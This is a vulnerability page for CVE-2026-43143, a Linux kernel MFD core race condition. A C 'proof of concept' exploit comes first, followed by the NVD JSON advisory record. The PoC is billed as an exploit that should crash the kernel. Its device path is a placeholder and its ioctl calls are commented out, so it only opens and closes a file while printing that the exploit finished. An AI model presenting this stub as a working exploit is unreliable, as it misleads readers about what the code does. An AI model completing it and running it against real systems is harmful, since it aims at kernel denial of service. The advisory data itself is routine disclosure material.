CVE-2026-43143

/* * PoC for CVE-2026-43143 (Conceptual) * This code attempts to trigger the race condition in mfd_of_node_list * by concurrently adding and removing MFD devices. * Requires access to a vulnerable MFD device interface. */ #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/vulnerable_mfd_device" void *thread_add(void *arg) { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) return NULL; // Simulate triggering device add operation // ioctl(fd, MFD_ADD_DEVICE, NULL); close(fd); return NULL; } void *thread_remove(void *arg) { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) return NULL; // Simulate triggering device remove operation // ioctl(fd, MFD_REMOVE_DEVICE, NULL); close(fd); return NULL; } int main() { pthread_t t1, t2; printf("[+] Starting Race Condition PoC for CVE-2026-43143\n"); for (int i = 0; i < 1000; i++) { pthread_create(&t1, NULL, thread_add, NULL); pthread_create(&t2, NULL, thread_remove, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); } printf("[+] Exploit finished. Check for kernel panic.\n"); return 0; }

{"cve": {"id": "CVE-2026-43143", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:31.747", "lastModified": "2026-05-13T18:41:04.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmfd: core: Add locking around 'mfd_of_node_list'\n\nManipulating a list in the kernel isn't safe without some sort of\nmutual exclusion. Add a mutex any time we access / modify\n'mfd_of_node_list' to prevent possible crashes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.9", "versionEndExcluding": "6.1.165", "matchCriteriaId": "C071FD3B-46E1-4938-B277-F84C773B9F56"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/20117c92bcf9c11afd64d7481d8f94fdf410726e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/45341856ecda1d56689451abd5cf1d1aa57dbe47", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9b02e3fec3a7fcb990b4d3bd3b13d7edf123dca6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/db131ef9d8980cf60dcac8cf94c036eccf75e5d0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dcfa679bba02412f2087be21cf06ae88b1f4e0ef", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e2e7c275f557e2b75e3128f4818063798248774c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}